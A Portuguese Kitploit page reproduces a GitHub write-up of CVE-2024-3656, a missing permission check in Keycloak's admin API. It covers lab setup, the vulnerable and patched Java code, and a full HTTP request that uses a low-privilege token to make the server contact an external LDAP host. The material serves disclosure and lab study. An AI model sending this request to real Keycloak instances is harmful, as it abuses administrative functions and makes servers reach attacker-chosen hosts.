Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-3656 — A API de administração do Keycloak permite que usuários com privilégios baixos usem funções administrativas | Kitploit
Ferramentas/GitHubGitHub/h4x0r-dz/cve-2024-3656
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoConfiguração Incorreta
GitHubh4x0r-dz/cve-2024-3656

CVE-2024-3656

A API de administração do Keycloak permite que usuários com privilégios baixos usem funções administrativas

Ver Repositório
3110há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Keycloak < 24.0.5 é vulnerável a uma falha de Controle de Acesso Quebrado, onde o atacante pode usar qualquer usuário autenticado para executar algumas ações de API, tais como:

Testar conexões LDAP por meio do endpoint testLDAPConnection. Recuperar atributos não gerenciados de qualquer usuário por meio do endpoint getUnmanagedAttributes. Acessar provedores de políticas de registro de clientes por meio do endpoint getProviders.

Só achei o testLDAPConnection interessante, onde um atacante pode interagir com LDAP para um host externo.

etapas de reprodução

primeiro baixe a versão vulnerável do KeyCloak 24.0.4 daqui https://www.keycloak.org/archive/downloads-24.0.4.html

em seguida, extraia o arquivo Zip e execute o comando bin/kc.sh start-dev

image

Agora você o executará em localhost:8080. Crie uma nova conta de administrador e faça login nessa conta de administrador

agora crie um novo Realm para usuários comuns e, em seguida, crie um usuário com privilégios de usuário nesse realm

image

Com base no commit que corrige a vulnerabilidade "Missing auth checks in some admin endpoints" https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1

descobrimos que há 3 arquivos que foram modificados:

TestLdapConnectionResource.java UserResource.java ClientRegistrationPolicyResource.java

Analisando a alteração de código em TestLdapConnectionResource.java:

(Código Vulnerável):

root@kitploit:~
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
    try {
        LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
        return Response.noContent().build();
    }
    // Exception handling...
}

Não havia nenhuma verificação de permissão. Qualquer usuário autenticado poderia chamar testLDAPConnection e realizar testes de LDAP, o que é uma ação administrativa.

(Código Corrigido):

root@kitploit:~
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
    auth.realm().requireManageRealm(); // Added permission check
    try {
        LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
        return Response.noContent().build();
    }
    // Exception handling...
}

image

A linha auth.realm().requireManageRealm(); foi adicionada para verificar se o usuário tem permissões de administrador (função manage_realm) no realm.

Isso significa que qualquer usuário de qualquer Realm pode enviar uma requisição para /admin/realms/users/testLDAPConnection

Agora, em um novo navegador, abra o link http://localhost:8080/realms/users/protocol/openid-connect/auth?client_id=account-console

Faça login com o usuário que você criou e, em seguida, faça grep do authorization: Bearer <>

envie uma requisição HTTP para o endpoint vulnerável:

root@kitploit:~
POST /admin/realms/users/testLDAPConnection HTTP/1.1
Host: dzdz.me:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
authorization: Bearer <xxxx>
content-type: application/json
Content-Length: 265
Origin: http://dzdz.me:8080
Connection: close


{

    "action": "testConnection",
    "connectionUrl": "ldap://xxxxxxxxxxxxxxxxxxxxxxx.oastify.com",
    "bindDn": "cn=admin,dc=example,dc=com",
    "bindCredential": "password",
    "useTruststoreSpi": "ldapsOnly",
    "connectionTimeout": "5000"
}

no parâmetro connectionUrl, coloque seu host externo e envie a requisição,

então você receberá a interação de DNS

image

você pode aplicar o mesmo com getUnmanagedAttributes e getProviders.

referência: https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1 https://github.com/advisories/GHSA-2cww-fgmg-4jqc

Baixar ferramenta